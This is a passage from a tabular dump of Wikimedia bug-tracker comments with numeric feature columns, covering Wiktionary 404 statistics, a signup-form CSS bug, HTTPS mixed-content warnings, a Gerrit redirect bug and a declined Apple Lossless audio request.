I have attached the 300 most commonly requested pages that do not exist for the english wiktionary. These pages have been requested 50 times or more in a three day period. Some of the titles look a little strange, such as for example ""%25D8%25AC%25D9%2585%25D8%25A7%25D8%25B9"", as though it was urlencoded twice, but the names used are the ones I got from the pageviews dumps. These mostly contain url fragments - index.php is the number 1 most requested, but there are also some strange ones - as well as years and unicode gunk. I'll let the script keep running and update the attachment with data for the full month.

**Attached**: {F8500}",,,1322349136,,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,,PHID-TASK-rng7tsijdjuhagtccn6z,task_subcomment,,True,c2,1,False,,,-92,True,1.0,0.0,0.0,1.0,0.5,6.0,1.5,0.0,0.5,0.0,3.0,0.5,0.0,0.0,0.5,2.0,0.0,5.5,6.0,0.0,0.0,0.0,0.0,0.0,1.5,1.5,0.0,0.0,0.0,0.5,0.0,5.5,0.0,0.5,0.5,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,1.5,0.0,0.0,0.0,0.5,0.0,15.5,0.0,1.0,0.0,1.5,0.0,0.5,0.0,1.0,0.0,0.0,0.0,0.5,0.0,0.0,0.0,0.5,0.0,7.0,3.0,6.0,0.5,3.0,9.5,0.0,0.0,0.0,0.0,2.5,0.0,3.5,0.0,2.5,6.0,0.5,0.0,1.0,0.0,2.5,0.0,0.5,1.0,0.0,0.5,0.5,1.0,0.5,3.985816814764183,0.7386363636363636,"**EN.WP.ST47** wrote:

November 1-3, en.wikt, top 300 requested non-existent pages

I have attached the 300 most commonly requested pages that do not exist for the english wiktionary. These pages have been requested 50 times or more in a three day period. Some of the titles look a little strange, such as for example ""%25D8%25AC%25D9%2585%25D8%25A7%25D8%25B9"", as though it was urlencoded twice, but the names used are the ones I got from the pageviews dumps. These mostly contain url fragments - index.php is the number 1 most requested, but there are also some strange ones - as well as years and unicode gunk. I'll let the script keep running and update the attachment with data for the full month.

**Attached**: {F8500}"
157295,Access to HTTP 404 logs for Wiktionary,"The sampled logs wouldn't be of use here anyways; most misses would probably not even show up there. 

We could write code to grab 404 statistics but that still wouldn't cover a chunk of the cases here (urls that are well formed but point to an article that isn't written yet).  Comparing a list of known viewed titles against known titles on the project is the best bet for right now, and doable immediately by anyone who can script a little bit.",,,1321998910,,PHID-USER-jtxavgb3caz53o45csni,False,,,PHID-TASK-rng7tsijdjuhagtccn6z,task_subcomment,,True,c2,1,False,,,-93,True,0.0,1.0,0.0,2.0,4.0,4.0,2.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,1.0,0.0,17.0,12.0,1.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,3.0,0.0,3.0,3.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,2.0,0.0,17.0,0.0,1.0,1.0,1.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,4.0,0.0,0.0,0.0,2.0,0.0,9.0,4.0,3.0,1.0,3.0,9.0,0.0,0.0,0.0,0.0,6.0,0.0,1.0,0.0,1.0,12.0,0.0,0.0,0.0,0.0,1.0,0.0,3.0,4.0,0.0,1.0,0.0,2.0,0.0,3.893617021276596,0.7872340425531915,"The sampled logs wouldn't be of use here anyways; most misses would probably not even show up there. 

We could write code to grab 404 statistics but that still wouldn't cover a chunk of the cases here (urls that are well formed but point to an article that isn't written yet).  Comparing a list of known viewed titles against known titles on the project is the best bet for right now, and doable immediately by anyone who can script a little bit."
157286,Access to HTTP 404 logs for Wiktionary,"We log /some/ of this information, but not all. We have 1:1000 sampled Apache logs that we use for internal analysis, but we don't release these publicly because they contain private data. I guess we could release anonymized versions of them, but we don't do that currently.

The page view statistics at e.g. http://stats.grok.se are obtained using the UDP logger that counts the requests for each page but doesn't write a log line to disk for each request (disk I/O tends to be the limiting factor here, AIUI). With the UDP log stream it should definitely be possible to produce 404 statistics.

Reopening because this isn't as impossible as suggested in comment 1.",,,1321998611,,PHID-USER-fovtl67ew4l4cc3oeypc,False,,,PHID-TASK-rng7tsijdjuhagtccn6z,task_subcomment,,True,c2,1,False,,,-93,True,2.0,0.0,0.0,0.5,3.0,2.5,1.5,1.5,0.0,0.0,3.0,2.5,0.0,0.0,0.0,4.5,0.0,7.0,9.5,0.0,2.5,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.5,0.0,0.0,7.0,0.5,1.0,2.5,0.0,0.0,0.0,0.0,2.5,0.0,1.0,0.0,2.0,0.0,1.0,0.5,1.0,0.0,12.0,1.0,1.5,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,2.5,0.0,0.5,0.5,1.0,0.0,4.0,3.0,8.5,1.5,2.5,8.5,0.0,0.0,0.0,0.0,5.5,1.0,2.0,0.0,6.0,9.5,3.0,0.0,0.0,0.0,6.0,0.0,1.5,1.0,0.5,2.0,0.0,0.0,0.0,4.051786521935776,0.774536408864767,"We log /some/ of this information, but not all. We have 1:1000 sampled Apache logs that we use for internal analysis, but we don't release these publicly because they contain private data. I guess we could release anonymized versions of them, but we don't do that currently.

The page view statistics at e.g. URL are obtained using the UDP logger that counts the requests for each page but doesn't write a log line to disk for each request (disk I/O tends to be the limiting factor here, AIUI). With the UDP log stream it should definitely be possible to produce 404 statistics.

Reopening because this isn't as impossible as suggested in comment 1."
157278,Access to HTTP 404 logs for Wiktionary,"We don't log this information.  You should be able to use the page views (http://dumps.wikimedia.org/other/) and compare it to the list of existing pages.

This would take some work, but I think it is your best bet.",,,1321906629,,PHID-USER-ogbcrxm45oo3n3xe5q25,False,,,PHID-TASK-rng7tsijdjuhagtccn6z,task_subcomment,,True,c2,1,False,,,-93,True,2.0,0.0,0.0,0.0,2.0,4.0,4.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,4.0,0.0,2.0,7.0,0.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,7.0,2.0,4.0,2.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,2.0,0.0,0.0,0.0,16.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,2.0,0.0,0.0,0.0,4.0,4.0,11.0,0.0,4.0,11.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,13.0,7.0,0.0,0.0,0.0,0.0,13.0,0.0,0.0,0.0,0.0,2.0,0.0,2.0,0.0,3.311111111111111,0.8888888888888888,"We don't log this information.  You should be able to use the page views (URL and compare it to the list of existing pages.

This would take some work, but I think it is your best bet."
34397,#userlogin is too narrow,"**Author:** `a.d.bergi`

**Description:**
proposed patch

When logged in, there is a button ""Benutzerkonto Anlegen (mit Passwortzusendung)"" which flows out of the containing box - see given URL.
I can't see any reason why that box should not have the usual 100% width, so I propose to remove all the width-related css.

--------------------------
**Version**: unspecified
**Severity**: normal
**URL**: http://de.wikipedia.org/w/index.php?title=Spezial:Anmelden/signup&useskin=vector&debug=true

**Attached**: {F8579}",Low,25.0,1321208880,1321722264.0,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,False,PHID-TASK-drwfrxufj5mbb73lhdfp,task_description,resolved,True,c2,1,False,False,True,-94,True,1.5,0.0,0.0,0.0,1.0,2.5,0.0,0.0,0.0,0.0,0.5,0.5,0.0,0.0,0.5,1.5,0.5,2.0,3.5,0.0,1.0,0.5,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,1.5,0.0,0.0,0.0,0.0,0.5,0.5,1.5,0.0,0.0,0.0,2.5,0.0,0.0,0.0,0.0,0.0,11.5,0.0,0.5,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.5,0.0,0.5,3.0,0.5,11.0,2.0,0.0,5.0,0.0,0.0,0.0,0.0,3.0,0.0,1.0,0.0,1.5,3.5,3.0,0.0,1.0,0.0,1.5,0.0,1.5,0.5,0.0,0.5,0.0,0.0,1.0,3.339935064935065,0.6836038961038962,"**Author:** CODE

**Description:**
proposed patch

When logged in, there is a button ""Benutzerkonto Anlegen (mit Passwortzusendung)"" which flows out of the containing box - see given URL.
I can't see any reason why that box should not have the usual 100% width, so I propose to remove all the width-related css.

--------------------------
**Version**: unspecified
**Severity**: normal
**URL**: URL

**Attached**: {F8579}"
159002,#userlogin is too narrow,"**a.d.bergi** wrote:

Typing ""Special:Signup"" in the search form :-)
Used more often than you might think, it e.g. is a way to create official sock puppets (like bots), the new-user-log then shows ""user:x created new account user:y"".
Thanks for applying, could you please also remove the piece of code from /branches/wmf/1.18wmf1/skins/vector/screen.css (line 676)?",,,1321819302,,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,,PHID-TASK-drwfrxufj5mbb73lhdfp,task_subcomment,,True,c2,1,False,,,-93,True,0.0,0.0,0.0,0.0,0.0,3.0,1.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,8.0,0.0,1.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,2.0,0.0,0.0,2.0,2.0,1.0,1.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,16.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,1.0,5.0,0.0,0.0,4.0,0.0,1.0,0.0,0.0,3.0,1.0,1.0,0.0,3.0,8.0,11.0,1.0,4.0,0.0,3.0,0.0,0.0,1.0,0.0,2.0,1.0,0.0,1.0,3.4725274725274726,0.7472527472527473,"**a.d.bergi** wrote:

Typing ""Special:Signup"" in the search form :-)
Used more often than you might think, it e.g. is a way to create official sock puppets (like bots), the new-user-log then shows ""user:x created new account user:y"".
Thanks for applying, could you please also remove the piece of code from /branches/wmf/1.18wmf1/skins/vector/screen.css (line 676)?"
158997,#userlogin is too narrow,"How do you manage to get to that signup page when being logged in ? :-)

Anyway,  I have applied your patch with r103690",,,1321722264,,PHID-USER-orzyp3dswemhdgdznro5,False,,,PHID-TASK-drwfrxufj5mbb73lhdfp,task_subcomment,,True,c2,1,True,,,-93,True,0.0,0.0,0.0,4.0,0.0,4.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,4.0,0.0,11.0,15.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,7.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,4.0,11.0,7.0,0.0,4.0,0.0,4.0,0.0,0.0,7.0,0.0,0.0,0.0,11.0,15.0,0.0,4.0,0.0,0.0,11.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,3.6296296296296298,0.9629629629629629,"How do you manage to get to that signup page when being logged in ? :-)

Anyway,  I have applied your patch with r103690"
158992,#userlogin is too narrow,"**a.d.bergi** wrote:

Oops, I'm sorry. I've linked to monobook skin which should have been vector, of course (bug was filed under ""vector skin"" also). I think now there's no need for a screenshot any more;
Also: You must be logged in already to get the second, problematic button (Anyhow, imo it looks better with 100% width).

BTW: The code in 1.18wmf1 is localiced at /skins/vector/screen.css <http://svn.wikimedia.org/viewvc/mediawiki/branches/wmf/1.18wmf1/skins/vector/screen.css?revision=99978&view=markup#l676>, not in /skins/common/commonContent.css",,,1321305874,,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,,PHID-TASK-drwfrxufj5mbb73lhdfp,task_subcomment,,True,c2,1,False,,,-94,True,0.5,0.0,0.0,2.5,1.0,4.5,0.0,0.0,0.0,0.0,3.0,1.0,1.0,0.0,0.5,1.5,0.0,6.5,7.5,0.0,1.5,1.5,0.0,0.0,0.5,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.5,1.0,0.5,1.0,0.0,0.0,0.5,0.0,0.5,0.0,0.5,0.0,0.0,0.0,0.0,0.0,0.0,13.0,0.0,0.0,0.0,0.5,0.0,0.0,0.0,0.5,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.5,0.0,2.5,3.0,7.5,0.0,0.0,3.5,0.0,0.0,0.0,0.0,3.0,0.0,2.0,0.0,3.5,7.5,2.0,0.0,1.0,0.0,3.5,0.0,0.5,0.5,0.0,0.0,1.5,0.0,2.0,3.518867924528302,0.8301886792452831,"**a.d.bergi** wrote:

Oops, I'm sorry. I've linked to monobook skin which should have been vector, of course (bug was filed under ""vector skin"" also). I think now there's no need for a screenshot any more;
Also: You must be logged in already to get the second, problematic button (Anyhow, imo it looks better with 100% width).

BTW: The code in 1.18wmf1 is localiced at /skins/vector/screen.css <URL not in /skins/common/commonContent.css"
158985,#userlogin is too narrow,"It looks fine to me in Firefox 7.0.1/Ubuntu 11.10.

Browser, version, screenshot?",,,1321300788,,PHID-USER-yek7ymogrv4qc67oilhf,False,,,PHID-TASK-drwfrxufj5mbb73lhdfp,task_subcomment,,True,c2,1,True,,,-94,True,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,21.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,11.0,11.0,21.0,5.0,0.0,0.0,11.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,3.736842105263158,0.9473684210526315,"It looks fine to me in Firefox 7.0.1/Ubuntu 11.10.

Browser, version, screenshot?"
34209,CodeReview images in diffs throw mixed-mode content warning on HTTPS,"CodeReview diffs that include images show the old & new images inline; when on https://www.mediawiki.org/ these are loaded from http://svn.wikimedia.org/ and so throw mixed-content warnings in browsers.

The images are loaded via ViewVC, which doesn't currently work on https://svn.wikimedia.org so we can't just switch it over to SSL or protocol-relative links.

--------------------------
**Version**: unspecified
**Severity**: normal
**URL**: https://www.mediawiki.org/wiki/Special:Code/MediaWiki/10262",Low,25.0,1320431100,1712843716.0,PHID-USER-yek7ymogrv4qc67oilhf,False,PHID-USER-3wfzrv2a2ggwauxc52is,False,PHID-TASK-gmjmp6luhydlvuknj4km,task_description,declined,True,c2,1,True,False,False,-95,True,0.0,0.0,0.0,2.0,2.0,8.0,0.0,0.0,0.0,0.0,1.0,2.0,0.0,0.0,0.0,1.0,0.0,7.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,1.0,1.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,1.0,0.0,18.0,1.0,0.0,1.0,1.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,2.0,0.0,0.0,0.0,1.0,0.0,2.0,2.0,13.0,2.0,3.0,5.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,2.0,9.0,3.0,0.0,0.0,0.0,2.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,3.75,0.6704545454545454,"CodeReview diffs that include images show the old & new images inline; when on URL these are loaded from URL and so throw mixed-content warnings in browsers.

The images are loaded via ViewVC, which doesn't currently work on URL so we can't just switch it over to SSL or protocol-relative links.

--------------------------
**Version**: unspecified
**Severity**: normal
**URL**: URL"
157182,CodeReview images in diffs throw mixed-mode content warning on HTTPS,Indeed; swapped.,,,1320441777,,PHID-USER-yek7ymogrv4qc67oilhf,False,,,PHID-TASK-gmjmp6luhydlvuknj4km,task_subcomment,,True,c2,1,True,,,-95,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,25.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,25.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.75,1.0,Indeed; swapped.
157176,CodeReview images in diffs throw mixed-mode content warning on HTTPS,"**sam** wrote:

(In reply to comment #1)
> Filed the blocker bug 31776 also in RT tracker:
> https://rt.wikimedia.org/Ticket/Display.html?id=1896

Shouldn't this depend on 31776, not block 31776 from being done?",,,1320439144,,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,,PHID-TASK-gmjmp6luhydlvuknj4km,task_subcomment,,True,c2,1,False,,,-95,True,0.0,0.0,0.0,3.0,6.0,0.0,0.0,0.0,0.0,0.0,3.0,3.0,0.0,0.0,0.0,0.0,0.0,6.0,11.0,0.0,3.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,11.0,0.0,0.0,3.0,0.0,0.0,0.0,3.0,9.0,0.0,9.0,0.0,0.0,11.0,11.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.942857142857143,0.8,"**sam** wrote:

(In reply to comment #1)
QUOTE
QUOTE

Shouldn't this depend on 31776, not block 31776 from being done?"
157170,CodeReview images in diffs throw mixed-mode content warning on HTTPS,Filed the blocker bug 31776 also in RT tracker: https://rt.wikimedia.org/Ticket/Display.html?id=1896,,,1320431374,,PHID-USER-yek7ymogrv4qc67oilhf,False,,,PHID-TASK-gmjmp6luhydlvuknj4km,task_subcomment,,True,c2,1,True,,,-95,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,9.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,18.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,27.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,9.0,27.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.8181818181818183,1.0,Filed the blocker bug 31776 also in RT tracker: URL
34201,Redirection from http to https on gerrit.wikimedia broken for some URLs,"If you access gerrit.wikimedia.org via http you are redirected to https. But URLs with a semicolon are broken after the redirect:

https://gerrit.wikimedia.org/r/gitweb?p=operations/puppet.git;a=tree;f=files/apache/sites;h=14baed1d9e959206c8fa15a6ff8e79bac2d04ab0;hb=HEAD
works,
but
http://gerrit.wikimedia.org/r/gitweb?p=operations/puppet.git;a=tree;f=files/apache/sites;h=14baed1d9e959206c8fa15a6ff8e79bac2d04ab0;hb=HEAD
redirects to
https://gerrit.wikimedia.org/r/gitweb?p=operations/puppet.git%3ba=tree%3bf=files/apache/sites%3bh=14baed1d9e959206c8fa15a6ff8e79bac2d04ab0%3bhb=HEAD
which gives a 404.

--------------------------
**Version**: unspecified
**Severity**: normal
**URL**: http://gerrit.wikimedia.org/r/gitweb?p=operations/puppet.git;a=tree;f=files/apache/sites;h=14baed1d9e959206c8fa15a6ff8e79bac2d04ab0;hb=HEAD",Low,25.0,1320405420,1322982790.0,PHID-USER-tyjmn7xcw6s2b6rqagj7,False,,False,PHID-TASK-mu2cs4n34fm5wsrmm7rt,task_description,resolved,True,c2,1,False,False,True,-95,True,0.0,0.0,0.0,3.0,0.0,3.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,3.0,14.0,1.0,3.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,3.0,9.0,1.0,0.0,0.0,0.0,3.0,0.0,1.0,3.0,0.0,0.0,0.0,0.0,0.0,3.550724637681159,0.5362318840579711,"If you access gerrit.wikimedia.org via http you are redirected to https. But URLs with a semicolon are broken after the redirect:

URL
works,
but
URL
redirects to
URL
which gives a 404.

--------------------------
**Version**: unspecified
**Severity**: normal
**URL**: URL"
156798,Redirection from http to https on gerrit.wikimedia broken for some URLs,Fixed in Ie44412e1 (change 1264).,,,1322982790,,PHID-USER-xs3vxsmgivmm2tuyxsrb,False,,,PHID-TASK-mu2cs4n34fm5wsrmm7rt,task_subcomment,,True,c2,1,False,,,-91,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,25.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,12.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.625,1.0,Fixed in Ie44412e1 (change 1264).
156793,Redirection from http to https on gerrit.wikimedia broken for some URLs,"Just disabling the redirect from http to https at all is probably an acceptable solution. But if the redirect is there, it should work in every case, whether it is used or not.",,,1320920479,,PHID-USER-tyjmn7xcw6s2b6rqagj7,False,,,PHID-TASK-mu2cs4n34fm5wsrmm7rt,task_subcomment,,True,c2,1,False,,,-94,True,5.0,0.0,0.0,3.0,3.0,3.0,3.0,0.0,0.0,3.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,16.0,16.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,8.0,5.0,5.0,5.0,11.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,5.0,16.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,3.0,0.0,3.0,0.0,0.0,0.0,3.891891891891892,0.8108108108108109,"Just disabling the redirect from http to https at all is probably an acceptable solution. But if the redirect is there, it should work in every case, whether it is used or not."
156786,Redirection from http to https on gerrit.wikimedia broken for some URLs,"how often are people removing the ""s"" from a url they paste somewhere?",,,1320858304,,PHID-USER-ogbcrxm45oo3n3xe5q25,False,,,PHID-TASK-mu2cs4n34fm5wsrmm7rt,task_subcomment,,True,c2,1,False,,,-94,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,19.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,19.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,6.0,0.0,6.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,6.0,0.0,6.0,12.0,0.0,6.0,0.0,6.0,6.0,0.0,6.0,0.0,0.0,0.0,3.625,0.9375,"how often are people removing the ""s"" from a url they paste somewhere?"
34104,Apple Lossless (ALAC) audio support via TimedMediaHandler (transcode to oga),"For uploading higher-quality audio source material, it would be nice to support open lossless formats; Apple Lossless is now available as open-source so this should be feasible: <http://alac.macosforge.org/trac/wiki>

Transcoding to our standard output formats (eg .oga Vorbis) would be useful to keep playback support consistent.

--------------------------
**Version**: unspecified
**Severity**: enhancement
**URL**: http://alac.macosforge.org/trac/wiki",Low,25.0,1320102900,1515534535.0,PHID-USER-yek7ymogrv4qc67oilhf,False,PHID-USER-yek7ymogrv4qc67oilhf,False,PHID-TASK-skbjv26kzo5u2ydsrprc,task_description,declined,True,c2,1,True,True,False,-96,True,0.0,0.0,0.0,0.0,0.0,12.0,5.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,1.0,1.0,1.0,7.0,0.0,2.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,1.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,5.0,0.0,4.0,0.0,0.0,0.0,19.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,12.0,1.0,0.0,1.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,2.0,7.0,4.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,2.0,1.0,0.0,1.0,4.120481927710843,0.6506024096385542,"For uploading higher-quality audio source material, it would be nice to support open lossless formats; Apple Lossless is now available as open-source so this should be feasible: <URL

Transcoding to our standard output formats (eg .oga Vorbis) would be useful to keep playback support consistent.

--------------------------
**Version**: unspecified
**Severity**: enhancement
**URL**: URL"
993609,Apple Lossless (ALAC) audio support via TimedMediaHandler (transcode to oga),"Doesn't seem to be a lot of interest in ALAC currently, though it's feasible in theory. Closing as Declined, but if there's a strong use case can reopen.",,,1515534535,,PHID-USER-yek7ymogrv4qc67oilhf,False,,,PHID-TASK-skbjv26kzo5u2ydsrprc,task_subcomment,,True,c2,3,True,,,227,True,0.0,0.0,0.0,0.0,3.0,6.0,3.0,0.0,3.0,3.0,9.0,3.0,0.0,0.0,3.0,0.0,0.0,6.0,20.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,9.0,0.0,3.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,6.0,3.0,11.0,6.0,3.0,6.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,3.0,20.0,3.0,0.0,0.0,0.0,3.0,0.0,0.0,6.0,0.0,3.0,0.0,0.0,0.0,3.6,0.8571428571428571,"Doesn't seem to be a lot of interest in ALAC currently, though it's feasible in theory. Closing as Declined, but if there's a strong use case can reopen."
159746,Apple Lossless (ALAC) audio support via TimedMediaHandler (transcode to oga),I'm simply mixing different stuff. Sorry :(,,,1372671854,,PHID-USER-nwa6c3hm5nmv7ixrih4p,False,,,PHID-TASK-skbjv26kzo5u2ydsrprc,task_subcomment,,True,c2,1,False,,,-9,True,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,11.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,22.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,4.111111111111111,1.0,I'm simply mixing different stuff. Sorry :(
